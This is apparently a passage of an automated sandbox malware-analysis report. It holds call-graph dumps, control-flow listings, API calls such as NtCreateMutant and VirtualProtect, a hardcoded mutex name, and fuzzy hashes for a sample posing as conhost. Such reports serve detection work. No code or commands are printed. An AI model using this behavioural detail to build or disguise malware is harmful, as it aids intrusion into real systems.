2514 1400015e4 2513->2514 2515 140001394 2 API calls 2514->2515 2516 1400015f3 2515->2516 2516->2208 2517 140001440 2516->2517 2518 140001394 2 API calls 2517->2518 2519 14000144f 2518->2519 2520 140001394 2 API calls 2519->2520 2521 14000145e 2520->2521 2522 140001394 2 API calls 2521->2522 2523 14000146d 2522->2523 2524 140001394 2 API calls 2523->2524 2525 14000147c 2524->2525 2526 140001394 2 API calls 2525->2526 2527 14000148b 2526->2527 2528 140001394 2 API calls 2527->2528 2529 14000149a 2528->2529 2530 140001394 2 API calls 2529->2530 2531 1400014a9 2530->2531 2532 140001394 2 API calls 2531->2532 2533 1400014b8 2532->2533 2534 140001394 2 API calls 2533->2534 2535 1400014c7 2534->2535 2536 140001394 2 API calls 2535->2536 2537 1400014d6 2536->2537 2538 1400014e5 2537->2538 2539 140001394 2 API calls 2537->2539 2540 140001394 2 API calls 2538->2540 2539->2538 2541 1400014ef 2540->2541 2542 1400014f4 2541->2542 2543 140001394 2 API calls 2541->2543 2544 140001394 2 API calls 2542->2544 2543->2542 2545 1400014fe 2544->2545 2546 140001503 2545->2546 2547 140001394 2 API calls 2545->2547 2548 140001394 2 API calls 2546->2548 2547->2546 2549 14000150d 2548->2549 2550 140001394 2 API calls 2549->2550 2551 140001512 2550->2551 2552 140001394 2 API calls 2551->2552 2553 140001521 2552->2553 2554 140001394 2 API calls 2553->2554 2555 140001530 2554->2555 2556 140001394 2 API calls 2555->2556 2557 14000153f 2556->2557 2558 140001394 2 API calls 2557->2558 2559 14000154e 2558->2559 2560 140001394 2 API calls 2559->2560 2561 14000155d 2560->2561 2562 140001394 2 API calls 2561->2562 2563 14000156c 2562->2563 2564 140001394 2 API calls 2563->2564 2565 14000157b 2564->2565 2566 140001394 2 API calls 2565->2566 2567 14000158a 2566->2567 2568 140001394 2 API calls 2567->2568 2569 140001599 2568->2569 2570 140001394 2 API calls 2569->2570 2571 1400015a8 2570->2571 2572 140001394 2 API calls 2571->2572 2573 1400015b7 2572->2573 2574 140001394 2 API calls 2573->2574 2575 1400015c6 2574->2575 2576 140001394 2 API calls 2575->2576 2577 1400015d5 2576->2577 2578 140001394 2 API calls 2577->2578 2579 1400015e4 2578->2579 2580 140001394 2 API calls 2579->2580 2581 1400015f3 2580->2581 2581->2208 2581->2215 2583 1400014e5 2582->2583 2584 140001394 2 API calls 2582->2584 2585 140001394 2 API calls 2583->2585 2584->2583 2586 1400014ef 2585->2586 2587 1400014f4 2586->2587 2588 140001394 2 API calls 2586->2588 2589 140001394 2 API calls 2587->2589 2588->2587 2590 1400014fe 2589->2590 2591 140001503 2590->2591 2592 140001394 2 API calls 2590->2592 2593 140001394 2 API calls 2591->2593 2592->2591 2594 14000150d 2593->2594 2595 140001394 2 API calls 2594->2595 2596 140001512 2595->2596 2597 140001394 2 API calls 2596->2597 2598 140001521 2597->2598 2599 140001394 2 API calls 2598->2599 2600 140001530 2599->2600 2601 140001394 2 API calls 2600->2601 2602 14000153f 2601->2602 2603 140001394 2 API calls 2602->2603 2604 14000154e 2603->2604 2605 140001394 2 API calls 2604->2605 2606 14000155d 2605->2606 2607 140001394 2 API calls 2606->2607 2608 14000156c 2607->2608 2609 140001394 2 API calls 2608->2609 2610 14000157b 2609->2610 2611 140001394 2 API calls 2610->2611 2612 14000158a 2611->2612 2613 140001394 2 API calls 2612->2613 2614 140001599 2613->2614 2615 140001394 2 API calls 2614->2615 2616 1400015a8 2615->2616 2617 140001394 2 API calls 2616->2617 2618 1400015b7 2617->2618 2619 140001394 2 API calls 2618->2619 2620 1400015c6 2619->2620 2621 140001394 2 API calls 2620->2621 2622 1400015d5 2621->2622 2623 140001394 2 API calls 2622->2623 2624 1400015e4 2623->2624 2625 140001394 2 API calls 2624->2625 2626 1400015f3 2625->2626 2626->2235 2628 140001394 2 API calls 2627->2628 2629 14000158a 2628->2629 2630 140001394 2 API calls 2629->2630 2631 140001599 2630->2631 2632 140001394 2 API calls 2631->2632 2633 1400015a8 2632->2633 2634 140001394 2 API calls 2633->2634 2635 1400015b7 2634->2635 2636 140001394 2 API calls 2635->2636 2637 1400015c6 2636->2637 2638 140001394 2 API calls 2637->2638 2639 1400015d5 2638->2639 2640 140001394 2 API calls 2639->2640 2641 1400015e4 2640->2641 2642 140001394 2 API calls 2641->2642 2643 1400015f3 2642->2643 2643->2235 2645 140001394 2 API calls 2644->2645 2646 1400015b7 2645->2646 2647 140001394 2 API calls 2646->2647 2648 1400015c6 2647->2648 2649 140001394 2 API calls 2648->2649 2650 1400015d5 2649->2650 2651 140001394 2 API calls 2650->2651 2652 1400015e4 2651->2652 2653 140001394 2 API calls 2652->2653 2654 1400015f3 2653->2654 2654->2235 2656 140001394 2 API calls 2655->2656 2657 140001530 2656->2657 2658 140001394 2 API calls 2657->2658 2659 14000153f 2658->2659 2660 140001394 2 API calls 2659->2660 2661 14000154e 2660->2661 2662 140001394 2 API calls 2661->2662 2663 14000155d 2662->2663 2664 140001394 2 API calls 2663->2664 2665 14000156c 2664->2665 2666 140001394 2 API calls 2665->2666 2667 14000157b 2666->2667 2668 140001394 2 API calls 2667->2668 2669 14000158a 2668->2669 2670 140001394 2 API calls 2669->2670 2671 140001599 2670->2671 2672 140001394 2 API calls 2671->2672 2673 1400015a8 2672->2673 2674 140001394 2 API calls 2673->2674 2675 1400015b7 2674->2675 2676 140001394 2 API calls 2675->2676 2677 1400015c6 2676->2677 2678 140001394 2 API calls 2677->2678 2679 1400015d5 2678->2679 2680 140001394 2 API calls 2679->2680 2681 1400015e4 2680->2681 2682 140001394 2 API calls 2681->2682 2683 1400015f3 2682->2683 2683->2235 2685 140001394 2 API calls 2684->2685 2686 140001431 2685->2686 2687 140001394 2 API calls 2686->2687 2688 140001440 2687->2688 2689 140001394 2 API calls 2688->2689 2690 14000144f 2689->2690 2691 140001394 2 API calls 2690->2691 2692 14000145e 2691->2692 2693 140001394 2 API calls 2692->2693 2694 14000146d 2693->2694 2695 140001394 2 API calls 2694->2695 2696 14000147c 2695->2696 2697 140001394 2 API calls 2696->2697 2698 14000148b 2697->2698 2699 140001394 2 API calls 2698->2699 2700 14000149a 2699->2700 2701 140001394 2 API calls 2700->2701 2702 1400014a9 2701->2702 2703 140001394 2 API calls 2702->2703 2704 1400014b8 2703->2704 2705 140001394 2 API calls 2704->2705 2706 1400014c7 2705->2706 2707 140001394 2 API calls 2706->2707 2708 1400014d6 2707->2708 2709 1400014e5 2708->2709 2710 140001394 2 API calls 2708->2710 2711 140001394 2 API calls 2709->2711 2710->2709 2712 1400014ef 2711->2712 2713 1400014f4 2712->2713 2714 140001394 2 API calls 2712->2714 2715 140001394 2 API calls 2713->2715 2714->2713 2716 1400014fe 2715->2716 2717 140001503 2716->2717 2718 140001394 2 API calls 2716->2718 2719 140001394 2 API calls 2717->2719 2718->2717 2720 14000150d 2719->2720 2721 140001394 2 API calls 2720->2721 2722 140001512 2721->2722 2723 140001394 2 API calls 2722->2723 2724 140001521 2723->2724 2725 140001394 2 API calls 2724->2725 2726 140001530 2725->2726 2727 140001394 2 API calls 2726->2727 2728 14000153f 2727->2728 2729 140001394 2 API calls 2728->2729 2730 14000154e 2729->2730 2731 140001394 2 API calls 2730->2731 2732 14000155d 2731->2732 2733 140001394 2 API calls 2732->2733 2734 14000156c 2733->2734 2735 140001394 2 API calls 2734->2735 2736 14000157b 2735->2736 2737 140001394 2 API calls 2736->2737 2738 14000158a 2737->2738 2739 140001394 2 API calls 2738->2739 2740 140001599 2739->2740 2741 140001394 2 API calls 2740->2741 2742 1400015a8 2741->2742 2743 140001394 2 API calls 2742->2743 2744 1400015b7 2743->2744 2745 140001394 2 API calls 2744->2745 2746 1400015c6 2745->2746 2747 140001394 2 API calls 2746->2747 2748 1400015d5 2747->2748 2749 140001394 2 API calls 2748->2749 2750 1400015e4 2749->2750 2751 140001394 2 API calls 2750->2751 2752 1400015f3 2751->2752 2752->2235 2754 140001394 2 API calls 2753->2754 2755 140001440 2754->2755 2756 140001394 2 API calls 2755->2756 2757 14000144f 2756->2757 2758 140001394 2 API calls 2757->2758 2759 14000145e 2758->2759 2760 140001394 2 API calls 2759->2760 2761 14000146d 2760->2761 2762 140001394 2 API calls 2761->2762 2763 14000147c 2762->2763 2764 140001394 2 API calls 2763->2764 2765 14000148b 2764->2765 2766 140001394 2 API calls 2765->2766 2767 14000149a 2766->2767 2768 140001394 2 API calls 2767->2768 2769 1400014a9 2768->2769 2770 140001394 2 API calls 2769->2770 2771 1400014b8 2770->2771 2772 140001394 2 API calls 2771->2772 2773 1400014c7 2772->2773 2774 140001394 2 API calls 2773->2774 2775 1400014d6 2774->2775 2776 1400014e5 2775->2776 2777 140001394 2 API calls 2775->2777 2778 140001394 2 API calls 2776->2778 2777->2776 2779 1400014ef 2778->2779 2780 1400014f4 2779->2780 2781 140001394 2 API calls 2779->2781 2782 140001394 2 API calls 2780->2782 2781->2780 2783 1400014fe 2782->2783 2784 140001503 2783->2784 2785 140001394 2 API calls 2783->2785 2786 140001394 2 API calls 2784->2786 2785->2784 2787 14000150d 2786->2787 2788 140001394 2 API calls 2787->2788 2789 140001512 2788->2789 2790 140001394 2 API calls 2789->2790 2791 140001521 2790->2791 2792 140001394 2 API calls 2791->2792 2793 140001530 2792->2793 2794 140001394 2 API calls 2793->2794 2795 14000153f 2794->2795 2796 140001394 2 API calls 2795->2796 2797 14000154e 2796->2797 2798 140001394 2 API calls 2797->2798 2799 14000155d 2798->2799 2800 140001394 2 API calls 2799->2800 2801 14000156c 2800->2801 2802 140001394 2 API calls 2801->2802 2803 14000157b 2802->2803 2804 140001394 2 API calls 2803->2804 2805 14000158a 2804->2805 2806 140001394 2 API calls 2805->2806 2807 140001599 2806->2807 2808 140001394 2 API calls 2807->2808 2809 1400015a8 2808->2809 2810 140001394 2 API calls 2809->2810 2811 1400015b7 2810->2811 2812 140001394 2 API calls 2811->2812 2813 1400015c6 2812->2813 2814 140001394 2 API calls 2813->2814 2815 1400015d5 2814->2815 2816 140001394 2 API calls 2815->2816 2817 1400015e4 2816->2817 2818 140001394 2 API calls 2817->2818 2819 1400015f3 2818->2819 2819->2235

                                                        Callgraph

                                                        • Executed
                                                        • Not Executed
                                                        • Opacity -> Relevance
                                                        • Disassembly available
                                                        callgraph 0 Function_00000001400059E1 1 Function_00000001400058E1 2 Function_00000001400057E1 3 Function_0000000140001AE4 33 Function_0000000140001D40 3->33 73 Function_0000000140001BA0 3->73 4 Function_00000001400014E5 68 Function_0000000140001394 4->68 5 Function_00000001400010F0 6 Function_00000001400030F1 7 Function_00000001400014F4 7->68 8 Function_0000000140002500 9 Function_0000000140001800 63 Function_0000000140002290 9->63 10 Function_0000000140001000 11 Function_0000000140001E00 10->11 37 Function_0000000140001750 10->37 79 Function_0000000140001FB0 10->79 86 Function_0000000140001FC0 10->86 12 Function_0000000140002F00 53 Function_0000000140001370 12->53 13 Function_0000000140005801 14 Function_0000000140001503 14->68 15 Function_0000000140001404 15->68 16 Function_0000000140002104 17 Function_0000000140001E10 18 Function_0000000140003110 19 Function_0000000140005911 20 Function_0000000140001512 20->68 21 Function_0000000140002420 22 Function_0000000140002320 23 Function_0000000140001521 23->68 24 Function_0000000140005A21 25 Function_0000000140001422 25->68 26 Function_0000000140001530 26->68 27 Function_0000000140003130 28 Function_0000000140001431 28->68 29 Function_0000000140005831 30 Function_000000014000153F 30->68 31 Function_0000000140001440 31->68 32 Function_0000000140001140 47 Function_0000000140001160 32->47 33->63 34 Function_0000000140001F47 54 Function_0000000140001870 34->54 35 Function_0000000140002050 36 Function_0000000140001650 38 Function_0000000140003150 38->12 38->14 38->23 38->25 38->26 38->28 38->30 38->31 43 Function_000000014000145E 38->43 45 Function_0000000140002660 38->45 50 Function_000000014000156C 38->50 51 Function_000000014000146D 38->51 38->53 58 Function_000000014000157B 38->58 72 Function_0000000140005AA0 38->72 75 Function_00000001400015A8 38->75 76 Function_00000001400014A9 38->76 85 Function_00000001400016C0 38->85 97 Function_00000001400014D6 38->97 99 Function_00000001400026E0 38->99 39 Function_0000000140003051 40 Function_0000000140005851 41 Function_0000000140005951 42 Function_000000014000155D 42->68 43->68 44 Function_0000000140002460 46 Function_0000000140005D60 46->72 47->38 47->47 47->54 59 Function_0000000140001880 47->59 62 Function_0000000140001F90 47->62 47->85 48 Function_0000000140001760 100 Function_00000001400020E0 48->100 49 Function_0000000140001E65 49->54 50->68 51->68 52 Function_000000014000216F 55 Function_0000000140001A70 55->33 55->73 56 Function_0000000140003070 57 Function_0000000140005871 58->68 59->21 59->33 59->45 59->73 60 Function_0000000140005A80 61 Function_0000000140005781 64 Function_0000000140002590 65 Function_0000000140003090 66 Function_0000000140002691 67 Function_0000000140005891 68->46 77 Function_0000000140005AB0 68->77 69 Function_0000000140002194 69->54 70 Function_000000014000219E 71 Function_0000000140001FA0 73->33 78 Function_00000001400023B0 73->78 93 Function_00000001400024D0 73->93 74 Function_00000001400057A1 75->68 76->68 77->72 80 Function_00000001400022B0 81 Function_00000001400026B0 82 Function_00000001400030B1 83 Function_00000001400058B1 84 Function_0000000140001AB3 84->33 84->73 87 Function_00000001400058C0 88 Function_00000001400057C1 89 Function_00000001400059C1 90 Function_0000000140001AC3 90->33 90->73 91 Function_00000001400014C7 91->68 92 Function_00000001400026D0 94 Function_00000001400017D0 95 Function_0000000140001FD0 96 Function_0000000140001AD4 96->33 96->73 97->68 98 Function_00000001400022E0 99->4 99->7 99->14 99->20 99->42 99->43 99->45 99->53 99->72 99->76 99->91 101 Function_00000001400017E0 101->100

                                                        Executed Functions

                                                        Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        • NtCreateMutant.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7
                                                        Memory Dump Source
                                                        • Source File: 00000023.00000002.4112251120.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                        • Associated: 00000023.00000002.4112226460.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112274146.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112295993.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112315474.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_35_2_140000000_conhost.jbxd
                                                        Similarity
                                                        • API ID: CreateMutant
                                                        • String ID:
                                                        • API String ID: 2492398971-0
                                                        • Opcode ID: f55b75a42ba742ff66446f778846a6b7bb42d2851d26ad5f09de16630c5a37b5
                                                        • Instruction ID: e01ed9b63ef7c5920134c4e85c14ad27842d35840c28d74b04fb6c154e59ead0
                                                        • Opcode Fuzzy Hash: f55b75a42ba742ff66446f778846a6b7bb42d2851d26ad5f09de16630c5a37b5
                                                        • Instruction Fuzzy Hash: 6CF0AFB2608B408AEA12DF52F89579A77A0F38D7C0F00991ABBC843735DB3CC190CB80

                                                        Non-executed Functions

                                                        Function 00000001400026E0 Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 376COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 311 1400026e0-14000273b call 140002660 315 140002741-14000274b 311->315 316 14000280e-14000285e call 14000155d 311->316 318 140002774-14000277a 315->318 323 140002953-14000297b call 1400014c7 316->323 324 140002864-140002873 316->324 318->316 319 140002780-140002787 318->319 321 140002789-140002792 319->321 322 140002750-140002752 319->322 326 140002794-1400027ab 321->326 327 1400027f8-1400027fb 321->327 325 14000275a-14000276e 322->325 339 140002986-1400029c8 call 140001503 call 140005aa0 323->339 340 14000297d 323->340 329 140002eb7-140002ef4 call 140001370 324->329 330 140002879-140002888 324->330 325->316 325->318 333 1400027f5 326->333 334 1400027ad-1400027c2 326->334 327->325 331 1400028e4-14000294e wcsncmp call 1400014e5 330->331 332 14000288a-1400028dd 330->332 331->323 332->331 333->327 338 1400027d0-1400027d7 334->338 342 1400027d9-1400027f3 338->342 343 140002800-140002809 338->343 349 140002e49-140002e84 call 140001370 339->349 350 1400029ce-1400029d5 339->350 340->339 342->333 342->338 343->325 353 1400029d7-140002a0c 349->353 358 140002e8a 349->358 352 140002a13-140002a43 wcscpy wcscat wcslen 350->352 350->353 354 140002a45-140002a76 wcslen 352->354 355 140002a78-140002aa5 352->355 353->352 357 140002aa8-140002abf wcslen 354->357 355->357 359 140002ac5-140002ad8 357->359 360 140002e8f-140002eab call 140001370 357->360 358->352 362 140002af5-140002dfb wcslen call 1400014a9 * 2 call 1400014f4 call 1400014c7 * 2 call 14000145e * 3 359->362 363 140002ada-140002aee 359->363 360->329 381 140002dfd-140002e1b call 140001512 362->381 382 140002e20-140002e48 call 14000145e 362->382 363->362 381->382
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000023.00000002.4112251120.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                        • Associated: 00000023.00000002.4112226460.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112274146.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112295993.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112315474.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_35_2_140000000_conhost.jbxd
                                                        Similarity
                                                        • API ID: wcslen$wcscatwcscpywcsncmp
                                                        • String ID: 0$X$\BaseNamedObjects\wuzklzmvtmbeldbgagwvxbiw$`
                                                        • API String ID: 597572034-1313311739
                                                        • Opcode ID: 90978a050a90607a068bedf645ab99c3feee486e0e4b6858f0fab2d312d3fbfc
                                                        • Instruction ID: 0082dfaf30f697912c82138c262f5bfe5031012adbb712afa37f0ca2a4dfcbc5
                                                        • Opcode Fuzzy Hash: 90978a050a90607a068bedf645ab99c3feee486e0e4b6858f0fab2d312d3fbfc
                                                        • Instruction Fuzzy Hash: 1D1248B2618BC081E762CB16F8443EA77A4F789794F414215EBA957BF5EF78C189C700
                                                        Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130sleepstringCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000023.00000002.4112251120.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                        • Associated: 00000023.00000002.4112226460.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112274146.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112295993.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112315474.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_35_2_140000000_conhost.jbxd
                                                        Similarity
                                                        • API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
                                                        • String ID:
                                                        • API String ID: 2643109117-0
                                                        • Opcode ID: 5d0fc5cb5312a86aea69d86366c04c8dca501517c33cfb13c8926ddb1e835d98
                                                        • Instruction ID: 6da89aac2756394a8f90a5fb187dfef0bda678cff9b9221eeeed913521154361
                                                        • Opcode Fuzzy Hash: 5d0fc5cb5312a86aea69d86366c04c8dca501517c33cfb13c8926ddb1e835d98
                                                        • Instruction Fuzzy Hash: 3E5113B1601A4485FB16EF27F9947EA27A5AB8DBD0F449121FB4D873B6DE38C4958300
                                                        Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106memoryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 427 140001ba0-140001bc0 428 140001bc2-140001bd7 427->428 429 140001c09 427->429 431 140001be9-140001bf1 428->431 430 140001c0c-140001c17 call 1400023b0 429->430 438 140001cf4-140001cfe call 140001d40 430->438 439 140001c1d-140001c6c call 1400024d0 VirtualQuery 430->439 432 140001bf3-140001c02 431->432 433 140001be0-140001be7 431->433 432->433 435 140001c04 432->435 433->430 433->431 437 140001cd7-140001cf3 memcpy 435->437 442 140001d03-140001d1e call 140001d40 438->442 439->442 445 140001c72-140001c79 439->445 446 140001d23-140001d38 GetLastError call 140001d40 442->446 447 140001c7b-140001c7e 445->447 448 140001c8e-140001c97 445->448 452 140001cd1 447->452 453 140001c80-140001c83 447->453 449 140001ca4-140001ccf VirtualProtect 448->449 450 140001c99-140001c9c 448->450 449->446 449->452 450->452 454 140001c9e 450->454 452->437 453->452 456 140001c85-140001c8a 453->456 454->449 456->452 457 140001c8c 456->457 457->454
                                                        APIs
                                                        • VirtualQuery.KERNEL32(?,?,?,?,0000000140007C14,0000000140007C14,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
                                                        • VirtualProtect.KERNEL32(?,?,?,?,0000000140007C14,0000000140007C14,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
                                                        • memcpy.MSVCRT ref: 0000000140001CE0
                                                        • GetLastError.KERNEL32(?,?,?,?,0000000140007C14,0000000140007C14,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000023.00000002.4112251120.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                        • Associated: 00000023.00000002.4112226460.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112274146.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112295993.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112315474.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_35_2_140000000_conhost.jbxd
                                                        Similarity
                                                        • API ID: Virtual$ErrorLastProtectQuerymemcpy
                                                        • String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
                                                        • API String ID: 2595394609-2123141913
                                                        • Opcode ID: fa23354802fc419f721e8d6d99bf42313c076893da16dc773a4833f7a127173c
                                                        • Instruction ID: 983f2cd7954f52bd80517b4e6a6dcb45ec3260e26c9f0eed5b1464496079116d
                                                        • Opcode Fuzzy Hash: fa23354802fc419f721e8d6d99bf42313c076893da16dc773a4833f7a127173c
                                                        • Instruction Fuzzy Hash: 174143F1601A4586FA26DF47F884BE927A0E78DBC4F554126EF0E877B1DA38C586C700
                                                        Function 0000000140002104 Relevance: 7.6, APIs: 5, Instructions: 51COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 458 140002104-14000210b 459 140002111-140002128 EnterCriticalSection 458->459 460 140002218-140002221 458->460 461 14000220b-140002212 LeaveCriticalSection 459->461 462 14000212e-14000213c 459->462 463 140002272-140002280 460->463 464 140002223-14000222d 460->464 461->460 467 14000214d-140002159 TlsGetValue GetLastError 462->467 465 140002241-140002263 DeleteCriticalSection 464->465 466 14000222f 464->466 465->463 468 140002230-14000223f 466->468 469 14000215b-14000215e 467->469 470 140002140-140002147 467->470 468->465 469->470 471 140002160-14000216d 469->471 470->461 470->467 471->470
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000023.00000002.4112251120.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                        • Associated: 00000023.00000002.4112226460.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112274146.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112295993.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112315474.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_35_2_140000000_conhost.jbxd
                                                        Similarity
                                                        • API ID: CriticalSection$DeleteEnterErrorLastLeaveValue
                                                        • String ID:
                                                        • API String ID: 926137887-0
                                                        • Opcode ID: 45aa12ab29fc3c2d0ae3eee0e0c0ab33baf9409f5ce98155d9c2e1cd3bee0986
                                                        • Instruction ID: 666b5f77822bde30b86d89f839f8ae6682933cabf40eac71bda43f7e294fb4ad
                                                        • Opcode Fuzzy Hash: 45aa12ab29fc3c2d0ae3eee0e0c0ab33baf9409f5ce98155d9c2e1cd3bee0986
                                                        • Instruction Fuzzy Hash: B821E0B1715A0292FA5BEB53F9483E923A0B76CBD0F444021FB1E576B4DF7A8986C300
                                                        Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138memoryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 474 140001880-14000189c 475 1400018a2-1400018f9 call 140002420 call 140002660 474->475 476 140001a0f-140001a1f 474->476 475->476 481 1400018ff-140001910 475->481 482 140001912-14000191c 481->482 483 14000193e-140001941 481->483 484 14000194d-140001954 482->484 485 14000191e-140001929 482->485 483->484 486 140001943-140001947 483->486 489 140001956-140001961 484->489 490 14000199e-1400019a6 484->490 485->484 487 14000192b-14000193a 485->487 486->484 488 140001a20-140001a26 486->488 487->483 492 140001b87-140001b98 call 140001d40 488->492 493 140001a2c-140001a37 488->493 494 140001970-14000199c call 140001ba0 489->494 490->476 491 1400019a8-1400019c1 490->491 495 1400019df-1400019e7 491->495 493->490 496 140001a3d-140001a5f 493->496 494->490 499 1400019e9-140001a0d VirtualProtect 495->499 500 1400019d0-1400019dd 495->500 501 140001a7d-140001a97 496->501 499->500 500->476 500->495 504 140001b74-140001b82 call 140001d40 501->504 505 140001a9d-140001afa 501->505 504->492 511 140001b22-140001b26 505->511 512 140001afc-140001b0e 505->512 515 140001b2c-140001b30 511->515 516 140001a70-140001a77 511->516 513 140001b5c-140001b6c 512->513 514 140001b10-140001b20 512->514 513->504 518 140001b6f call 140001d40 513->518 514->511 514->513 515->516 517 140001b36-140001b57 call 140001ba0 515->517 516->490 516->501 517->513 518->504
                                                        APIs
                                                        • VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000023.00000002.4112251120.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                        • Associated: 00000023.00000002.4112226460.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112274146.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112295993.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112315474.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_35_2_140000000_conhost.jbxd
                                                        Similarity
                                                        • API ID: ProtectVirtual
                                                        • String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
                                                        • API String ID: 544645111-395989641
                                                        • Opcode ID: a6faf70e8b190511a78e30de1eab31b3fdd89b936d163022cdfacdbb5805c305
                                                        • Instruction ID: bed1886f8e7b3562c786f91e2c2504e2a336d35a61311b426e06807153cec951
                                                        • Opcode Fuzzy Hash: a6faf70e8b190511a78e30de1eab31b3fdd89b936d163022cdfacdbb5805c305
                                                        • Instruction Fuzzy Hash: 415114B6B11544DAEB12CF67F840BE827A1A759BE8F548212FB1D077B4DB38C986C700
                                                        Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 522 14000219e-1400021a5 523 140002272-140002280 522->523 524 1400021ab-1400021c2 EnterCriticalSection 522->524 525 140002265-14000226c LeaveCriticalSection 524->525 526 1400021c8-1400021d6 524->526 525->523 527 1400021e9-1400021f5 TlsGetValue GetLastError 526->527 528 1400021f7-1400021fa 527->528 529 1400021e0-1400021e7 527->529 528->529 530 1400021fc-140002209 528->530 529->525 529->527 530->529
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000023.00000002.4112251120.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                        • Associated: 00000023.00000002.4112226460.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112274146.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112295993.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000023.00000002.4112315474.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_35_2_140000000_conhost.jbxd
                                                        Similarity
                                                        • API ID: CriticalSection$EnterErrorLastLeaveValue
                                                        • String ID:
                                                        • API String ID: 682475483-0
                                                        • Opcode ID: ef714723185b3a8d2aed80037f9450dbdc245cd35eb766ee46406a0163f8cc51
